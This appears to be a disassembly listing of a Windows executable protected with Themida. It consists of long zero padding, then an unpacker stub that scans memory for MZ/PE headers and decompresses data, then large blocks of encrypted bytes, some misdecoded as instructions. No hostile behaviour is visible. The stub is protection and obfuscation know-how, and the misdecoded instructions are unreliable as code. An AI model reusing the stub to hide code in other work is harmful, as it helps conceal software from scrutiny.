db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
_idata__ ends
; Section 4. (virtual address 000E1000)
; Virtual size : 000FB000 (1028096.)
; Section size in file : 000FB000 (1028096.)
; Offset to raw data for section: 000E1000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
Themida_ segment para public 'CODE' use32
assume cs:Themida_
;org 4E1000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
dd 0AAB8A06h, 4413Eh, 54146h, 96172h, 0
; ---------------------------------------------------------------------------
mov eax, 0
pusha
or eax, eax
jz short loc_4E1086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E1041
popa
jmp short loc_4E1076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
db 10h, 4Eh, 0
dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------
loc_4E1041: ; CODE XREF: Themida_:004E102Cj
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_4E104E: ; CODE XREF: Themida_:004E1072j
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4E106D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E1074
loc_4E106D: ; CODE XREF: Themida_:004E1059j
sub eax, 1000h
jmp short loc_4E104E
; ---------------------------------------------------------------------------
loc_4E1074: ; CODE XREF: Themida_:004E106Bj
mov edi, eax
loc_4E1076: ; CODE XREF: Themida_:004E102Fj
jmp loc_4E1265
; ---------------------------------------------------------------------------
add eax, edi
mov ecx, 0E126Ah
add ecx, edi
jmp short loc_4E1090
; ---------------------------------------------------------------------------
loc_4E1086: ; CODE XREF: Themida_:004E101Cj
mov eax, offset loc_548BDF
mov ecx, offset word_4E126A
loc_4E1090: ; CODE XREF: Themida_:004E1084j
push eax
push ecx
call sub_4E111B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E1265
; ---------------------------------------------------------------------------
dw 9328h
dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
dd 1848C86h, 662A4924h, 1799B7DEh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E111B proc near ; CODE XREF: Themida_:004E1092p
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E1127: ; CODE XREF: sub_4E111B:loc_4E113Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E1132: ; CODE XREF: sub_4E111B+7Aj
; sub_4E111B+C3j ...
add dl, dl
jnz short loc_4E113B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E113B: ; CODE XREF: sub_4E111B+19j
jnb short loc_4E1127
add dl, dl
jnz short loc_4E1146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1146: ; CODE XREF: sub_4E111B+24j
jnb short loc_4E1197
xor eax, eax
add dl, dl
jnz short loc_4E1153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1153: ; CODE XREF: sub_4E111B+31j
jnb loc_4E1238
add dl, dl
jnz short loc_4E1162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1162: ; CODE XREF: sub_4E111B+40j
adc eax, eax
add dl, dl
jnz short loc_4E116D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E116D: ; CODE XREF: sub_4E111B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E1178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1178: ; CODE XREF: sub_4E111B+56j
adc eax, eax
add dl, dl
jnz short loc_4E1183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1183: ; CODE XREF: sub_4E111B+61j
adc eax, eax
jz short loc_4E118D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E118D: ; CODE XREF: sub_4E111B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1197: ; CODE XREF: sub_4E111B:loc_4E1146j
mov eax, 1
loc_4E119C: ; CODE XREF: sub_4E111B:loc_4E11B0j
add dl, dl
jnz short loc_4E11A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11A5: ; CODE XREF: sub_4E111B+83j
adc eax, eax
add dl, dl
jnz short loc_4E11B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11B0: ; CODE XREF: sub_4E111B+8Ej
jb short loc_4E119C
sub eax, ebx
mov ebx, 1
jnz short loc_4E11E3
mov ecx, 1
loc_4E11C0: ; CODE XREF: sub_4E111B:loc_4E11D4j
add dl, dl
jnz short loc_4E11C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11C9: ; CODE XREF: sub_4E111B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E11D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11D4: ; CODE XREF: sub_4E111B+B2j
jb short loc_4E11C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E11E3: ; CODE XREF: sub_4E111B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E11F1: ; CODE XREF: sub_4E111B:loc_4E1205j
add dl, dl
jnz short loc_4E11FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E11FA: ; CODE XREF: sub_4E111B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E1205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E1205: ; CODE XREF: sub_4E111B+E3j
jb short loc_4E11F1
cmp eax, 7D00h
jnb short loc_4E1228
cmp eax, 500h
jb short loc_4E1223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1223: ; CODE XREF: sub_4E111B+F8j
cmp eax, 7Fh
ja short loc_4E122B
loc_4E1228: ; CODE XREF: sub_4E111B+F1j
add ecx, 2
loc_4E122B: ; CODE XREF: sub_4E111B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1238: ; CODE XREF: sub_4E111B:loc_4E1153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E1259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E1132
; ---------------------------------------------------------------------------
loc_4E1259: ; CODE XREF: sub_4E111B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E111B endp
; ---------------------------------------------------------------------------
loc_4E1265: ; CODE XREF: Themida_:loc_4E1076j
; Themida_:004E10B1j
jmp loc_548BDF
; ---------------------------------------------------------------------------
word_4E126A dw 38E9h ; DATA XREF: Themida_:004E108Bo
; ---------------------------------------------------------------------------
sub al, 35h
push esi
add [edx+0FE178BCh], ebp
dec dword ptr [edx-5E02DFFFh]
add ebp, esi
fadd qword ptr [ecx]
push esp
push 64696D65h
popa
retn 0D515h
; ---------------------------------------------------------------------------
push ecx
xchg eax, edx
pop ss
or [edi-1Ch], bl
and al, 5Ch
and [ebp+7Eh], ebx
inc ebp
db 36h
retn 7E1Dh
; ---------------------------------------------------------------------------
inc ebp
cwde
retn 0F535h
; ---------------------------------------------------------------------------
dw 2279h
dd 7E3DC21Dh, 0DFB89D97h, 0E10335E6h, 21F2BF1Ah, 0EBEB112Eh
dd 0E80CCBD7h, 0E8034CCAh, 147BEFEh, 8B11ECFAh, 52F03A84h
dd 741C7365h, 41CE7261h, 4F2E2F70h, 75239C78h, 8F73390h
dd 0A3147179h, 42EFBF68h, 1CFEAF01h, 0D487C58Bh, 8008E860h
dd 3BED815Dh, 60A1435h, 6059589h, 2679B504h, 2E298542h
dd 95BD8300h, 74808334h, 0E8728B0Ch, 0A7B8E227h, 70BCC2A5h
dd 0C4247144h, 110C13Eh, 0A3E8456Ah, 9A682981h, 0E9078374h
dd 250A40DFh, 0A7A894Bh, 29E9D544h, 5FEC0214h
; ---------------------------------------------------------------------------
inc eax
push ebp
mov ebp, esp
sub dword ptr [ebx], 0FFFFFFC4h
fsubr st, st(6)
add [edx-7Fh], ebx
jmp far ptr 0C7DAh:8B003629h
; ---------------------------------------------------------------------------
db 24h
dd 6C08D845h, 8963400Eh, 0F37D8108h, 741D1980h, 0FC08200Fh
dd 0A929383h, 4312FF61h, 368DE1EBh, 0D02661DCh, 450C2C9h
dd 0C41A8146h, 3902FF7Ch, 8D107249h, 8B058045h, 85C7085Dh
dd 28501911h, 0D1020A8Dh, 411888C3h, 810BA289h, 5D0688BDh
dd 27E3750Ah, 0A3BA8D50h, 8075B064h, 0BB0E128Ah, 0B85B40F4h
dd 785437ABh, 30D0D33Fh, 754B080Fh, 14AFECF7h, 4A4647C3h
dd 0F98A4691h, 61D18A42h, 1DD0E88Ah, 0EE627FF0h, 4D82FC45h
dd 0AD8F04EBh, 3E804623h, 0BAF74014h, 9834DB84h, 64EB0C7Dh
dd 33F83E7Fh, 0F012216Dh, 0A0F40E32h, 65C14A10h, 0D60450F0h
dd 0E0D10EF8h, 2858C203h, 8A07DB33h, 0FB80301Ch, 0F0A7233h
dd 577390Ah, 99BCEB4Fh, 0FD611422h, 660A9F0Dh, 0D71E08DBh
dd 0AB0AC3D3h, 411A0C10h, 460A0B72h, 24067737h, 5D0186A8h
dd 0F41CECF0h, 2C67D83h, 0CD0CB072h, 0D9A576C0h, 0F82690AAh
dd 0DA8D8173h, 553BA880h, 822A0FFCh, 0B070BD78h, 9438AA6Fh
dd 380838BAh, 0FC702AB9h, 37B8BD10h, 470FFE00h, 0B9FA7549h
dd 6A772271h, 1101BB1Fh, 0EB82F147h, 8ED8026Dh, 39900386h
dd 65510715h, 5DF43683h, 0F1268ACEh, 5944E93Eh, 118B101Bh
dd 0B84B10Fh, 6EA0D8Ch, 0DF00DC0Bh, 2CB55256h, 0CCD98BC3h
dd 8CACF14Ah, 34CB38h, 4E398267h, 30F765Bh, 3D51B810h
dd 3BE3D104h, 4A0E46B3h, 0B82E0975h, 14EC4871h, 359065E4h
dd 0C584037Dh, 0A3968E05h, 0C253CB23h, 29A0C204h, 8205718Ch
dd 0A00EE76Dh, 2B86FFD9h, 22047781h, 0C1341D00h, 7533F984h
dd 3FBCC820h, 330ABB3Bh, 990230EFh, 8CC4EC41h, 0FFCCCF7Fh
dd 456740C8h, 6028E9F5h, 52C40062h, 11254D8Ch, 0B142AA82h
dd 845AAB66h, 56531384h, 825E05CBh, 8150AEEEh, 7D6C22ECh
dd 13B9518Ah, 94972302h, 186B7843h, 1704E957h, 0C4725F21h
dd 25758A14h, 8453394h, 4721001Ah, 9B71C457h, 990D8F78h
dd 24BC670Eh, 0ECDA8DD0h, 683D1D81h, 5E20031h, 0CA0B38B8h
dd 1F861018h, 0EEC8FD45h, 0AE1366CEh, 0B40C1702h, 0F3EEA58h
dd 1FBEDFAh, 38A52D0Dh, 49461104h, 0C42CFE1Dh, 60398C58h
dd 7D8A11C4h, 48801E88h, 70CBC458h, 2C673F4h, 90DCA0C5h
dd 1B608C8Fh, 12634686h, 0D08EA62h, 6D1A2435h, 88D9E946h
dd 261BD224h, 3D2530E3h, 0EF3F1DA2h, 23C8809Bh, 0B48BD763h
dd 0B8F029Ah, 0DCE8910Dh, 10892AA7h, 0C76F2FEFh, 0E95A750Ch
dd 0B11B0Ch, 403E570Dh, 502DF372h, 0C052C0F3h, 0C31CFE70h
dd 82435C0Eh, 50683CC2h, 3DCBF732h, 0C3803256h, 0CFAB509Bh
dd 8BA48510h, 0C870C0ECh, 8C673207h, 8AF55FF9h, 0F2B80F4Fh
dd 7A206C00h, 78B52C85h, 50F73CB0h, 0B83F1D07h, 0EEC783C3h
dd 541514F0h, 0A9C0670Ah, 3217B55Dh, 0EA849600h, 0A71B905h
dd 4B59BD88h, 7E2411FCh, 0D80B0D60h, 22803Fh, 0B16AFFB4h
dd 55C3588Ah, 2332EA31h, 2AE5ABE4h, 7A1EE8h, 345906BDh
dd 0FEAE212h, 0F48425C0h, 1D29D1Ah, 5371BED0h, 0FCA5E814h
dd 8858EAC7h, 0C2D4801Ch, 75E2A7Eh, 239570D6h, 16601F62h
dd 6D7C0276h, 0A900F77Bh, 377B5C7Fh, 134A56Fh, 7AA2A8C0h
dd 0F8D56971h, 0A4EC4CD4h, 31648D00h, 0D232B680h, 0A67C00FEh
dd 22AEC830h, 0C100558Fh, 1E464D6Eh, 42E9F4h, 0F8F9149Eh
dd 7F76277Ch, 92AEDB00h, 7DA65499h, 483A03C3h, 18F3F18Ch
dd 0F614911Dh, 751A31F1h, 0A90008BEh, 481CD126h, 0A707D443h
dd 390A5CFBh, 7F80CE97h, 5FBDB2h, 1D5A6D80h, 5DA054BCh
dd 5207800h, 0F3E5453Fh, 0FAC70EAFh, 0FB008188h, 0A6B99340h
dd 0ED4F1D18h, 6EEE71h, 0D9E8B468h, 3CA398EFh, 9ED8463Ah
dd 6FC0168Ah, 5F31A6C0h, 756D02B5h, 0F7DDC882h, 0E083F541h
dd 9A008D02h, 277D01F6h, 0C07A8066h, 3EC1ACC1h, 0E403B662h
dd 0FA6F6513h, 0FD81A718h, 46F80532h, 0F97600D1h, 0A711996Dh
dd 67C1920h, 8FB631CFh, 211287D1h, 0B002E0C3h, 4BDE7Bh
dd 0B45120B9h, 1455A00Dh, 330620DFh, 1D181501h, 33E722C4h
dd 71884949h, 0EA7CC247h, 0C58EAC0Eh, 4CFB8A0Ch, 15711218h
dd 88FE0032h, 0FC30649Eh, 4F0E447Eh, 6082F068h, 4F710E2h
dd 3113606Eh, 3DA1FBA4h, 0D7B7C303h, 0D71CCF0Dh, 4093A08Eh
dd 21718Eh, 2B14282Fh, 31C587E0h, 20D03A28h, 0B2C10200h
dd 3FB5D651h, 904F1679h, 0BBEB039Bh, 703CF267h, 0D9A5B0DDh
dd 0A85B3CD4h, 748BEA8h, 0CA12B01Dh, 887A30C8h, 0CB007C31h
dd 0BDF7F04Fh, 0C017197Bh, 6D547738h, 68780D56h, 609840F5h
dd 48404923h, 0E22221C5h, 19084F1Fh, 21160052h, 0C99C0D12h
dd 0E73F7774h, 0EBA48162h, 1435435Dh, 330240BCh, 34298CE5h
dd 4EEDC482h, 5E971301h, 0C305B194h, 9E599930h, 0DC00588Dh
dd 7CE6D90Bh, 1874E10Fh, 31573C28h, 6F005580h, 0DBEFA7BDh
dd 359532Eh, 5D757C2Bh, 0B1B01F9Ch, 4006F780h, 0B5BD79AFh
dd 0A9A00C58h, 0C5A81C68h, 0B41F9328h, 0DC22E415h, 1D410870h
dd 0B501384Eh, 50EF4D4Bh, 0F857CDB4h, 99601412h, 2AEE1339h
dd 0A99F0AFDh, 112CED80h, 0E0330319h, 1F83F543h, 52A16DF0h
dd 2B6441B2h, 40FD33C4h, 0E556A93Ch, 0DD0B3907h, 89E25E34h
dd 8C008F8h, 5686C4E6h, 3C611D4Dh, 500ACD4h, 854BE061h
dd 0D902E596h, 537FAF79h, 11D0A0C5h, 40C3D27Ch, 4D184629h
dd 6D4064E8h, 8A703A9Dh, 271D5580h, 32375EC8h, 0A1FDDA00h
dd 7CC01862h, 15641846h, 0B6D98808h, 84CC5789h, 11C961FEh
dd 0ECC4128Ah, 790117CAh, 265ACFD7h, 96FD460Dh, 0D869F422h
dd 688E208h, 19523C97h, 0CACFE807h, 7EF0D115h, 5321BEh
dd 70906E58h, 527070Bh, 0D9DC6404h, 5C94657Bh, 0A5590C81h
dd 3BC5F007h, 2373DFE5h, 705C8449h, 411B9090h, 0F73150F9h
dd 6812B8h, 4BB67BA0h, 91C118D9h, 0F8D3E19Ch, 0B55C9440h
dd 88CD49C8h, 0ED4C6C04h, 0D16F014Eh, 4883F95Dh, 0DA14E365h
dd 242912B1h, 0A00DE4DCh, 48A4DC31h, 3A302147h, 9F7B0B2h
dd 0B3775DBCh, 0E5DD8403h, 0D470981Ch, 1AC6B280h, 0DC0A72h
dd 8125A57Dh, 7A90C10h, 0A2696504h, 14C05D2Dh, 0B7D3BFh
dd 0A67D99D9h, 0FE963949h, 2005AE8h, 3F55545Dh, 0E55C8704h
dd 0ACC1109Eh, 76500D0h, 0D9E3021Fh, 0B30063B0h, 0D381B7DBh
dd 7E9188h, 4A970B5Eh, 0C7A4D52Eh, 0A59ECA0Eh, 80E3AB59h
dd 0A296C28Bh, 2898EEB3h, 3F80B1F1h, 1281E6FEh, 7CC45565h
dd 800FFDDAh, 340C27F8h, 0A8EA455Ch, 7CC6C48Ch, 4CF77C4Fh
dd 0AD2C8E0h, 82E4893Ch, 0A114D796h, 0DE081844h, 2680CD7Bh
dd 79E51840h, 0CA095605h, 3F2E3C9h, 0A089344Ch, 24C6F37Eh
dd 42EC1C6Ah, 5620B8E3h, 904A1C5h, 5FD141AFh, 4B3F889h
dd 841476F9h, 2B033439h, 0CE948Ch, 0C35E7C57h, 0BAA2455Fh
dd 84AC3Eh, 4A65348Bh, 60DD4C5Bh, 2D75F044h, 6E1D06CFh
dd 771F8109h, 14F80E14h, 10647F0Dh, 5C0ADFF5h, 8C90F731h
dd 6181124Dh, 97D2FD02h, 0C144BDCDh, 31A68574h, 3AEB1110h
dd 38178CDAh, 0C0A4E15h, 0CDFDF711h, 810474D1h, 5964418h
dd 109C04C8h, 24B294A9h, 4806484Fh, 51176Fh, 4996EED6h
dd 98A83D9Bh, 0D7C35600h, 6C83816h, 0A6D89B44h, 0E2210981h
dd 1C980898h, 19CFD218h, 482DA860h, 6429CC34h, 0AA840EACh
dd 572013ECh, 0A70509FAh, 5CB0A130h, 94E3C800h, 0A8D26FC6h
dd 60AA14BCh, 54865104h
dd 0B9E823h, 0B9EF6F0Ch, 0F4913EC6h, 18E1B80Ch, 9244E729h
dd 5D2E656h, 0E33BC6F2h, 42100805h, 9D49AF84h, 9F09F8D0h
dd 0CC6D12C6h, 0DD20446Bh, 617722CEh, 0E034B4FCh, 0D863187Fh
dd 0EDF76144h, 21F52300h, 41582B57h, 0A1E56EBAh, 68109B69h
dd 0D1204366h, 153C2A82h, 0C05AEA8Ch, 1D37BC21h, 0F13A70F5h
dd 2FD68060h, 385C7B56h, 4D51C61Eh, 0E7003921h, 0F2026F9Fh
dd 0F30FEC0h, 46D6A852h, 0F44BD901h, 0C43030C3h, 61513C30h
dd 0FAD873FBh, 22B93AC6h, 8DA97180h, 62852A0Fh, 0B52C51FCh
dd 9308E814h, 0E3570010h, 718D68B4h, 944F2D28h, 7B16E490h
dd 5021F1C5h, 6F11DFDCh, 0F8A98020h, 9E58925Ah, 63113C14h
dd 3B2AB800h, 0C6FB1EB4h, 80BA160Fh, 929AEB1Ah, 28665Ch
dd 8574C782h, 6EE29C67h, 0CDF59E09h, 0F8248A5Ch, 94CBDA02h
dd 0B8CD439Bh, 2DF0615h, 3AC6AB33h, 50C9457Dh, 6498FC05h
dd 7808810Fh, 0DC0B1CDAh, 148D829Ch, 833CB89Bh, 0CB6F003Bh
dd 549E9FEEh, 330501BBh, 1CFD43B6h, 0A57198D0h, 5C0CB019h
dd 407A1806h, 3073325h, 0CCF74B37h, 86154441h, 7C71E6F9h
dd 825557ECh, 0DB3118C0h, 0C04CA541h, 0C9070795h, 6FFB71A0h
dd 7FC09E61h, 3A38702Ch, 75174C7Ch, 2C1D59DEh, 0E7692302h
dd 0F5C90150h, 55B510A5h, 0D95E603Dh, 785CBB22h, 0F393800h
dd 237F0C44h, 0BCB13Dh, 34469D97h, 0F01E1018h, 0C900DC68h
dd 679C7C41h, 45290B50h, 0AC068F5Dh, 4890C144h, 54B1F520h
dd 18ED6CE0h, 18C10DC8h, 0A8B9B72Dh, 5E917105h, 0B057ECC8h
dd 140D2AC4h, 916F77A0h, 5F9F0894h, 6423FE93h, 72CC8030h
dd 850D0135h, 98A1CF43h, 0FD5081BEh, 2A597E66h, 131C8824h
dd 49EC8CAAh, 0F4042E40h, 0C0B450C2h, 77975D58h, 15EE042h
dd 6CE79C8h, 0F8C693A4h, 0F00186B3h, 68E53071h, 0A88B1355h
dd 54028ADFh, 9802B835h, 0A5BC848Fh, 0ECF8B240h, 0AF48CCE4h
dd 0A05430AAh, 6A33DA1Ch, 14ED901Fh, 0AF00703Dh, 501BD0EEh
dd 0A990283Eh, 235EB005h, 0A89096E2h, 54D17757h, 0E6A8F9h
dd 0E0C3DD9h, 665EC616h, 24517B7Fh, 71A88CBCh, 982328CAh
dd 42F92068h, 0C6901E1Fh, 486C3489h, 48AD4B48h, 4D151CF6h
dd 761D9C1Eh, 0FBD50098h, 3C5A4731h, 2EE20101h, 14BB8697h
dd 15887C8h, 0B6660953h, 561168EDh, 0FC6C4084h, 413D78B0h
dd 8044284Eh, 1A71A926h, 0AF431C5Dh, 2810839Ah, 201447A5h
dd 4A90DB0Fh, 98A00849h, 5CFD4B94h, 5585F446h, 0FEC40911h
dd 0D277C890h, 2E3D3E05h, 0B4065F0Fh, 1A315318h, 0A0ACB9D1h
dd 7661BC60h, 0E8625781h, 59044068h, 225016E2h, 991056F8h
dd 0E804C6D9h, 134DB87Bh, 0AAE11002h, 0CC7404E5h, 7D006190h
dd 7952F5E9h, 1F7F037h, 0BB433A9Ah, 57B1246Bh, 5799E1DCh
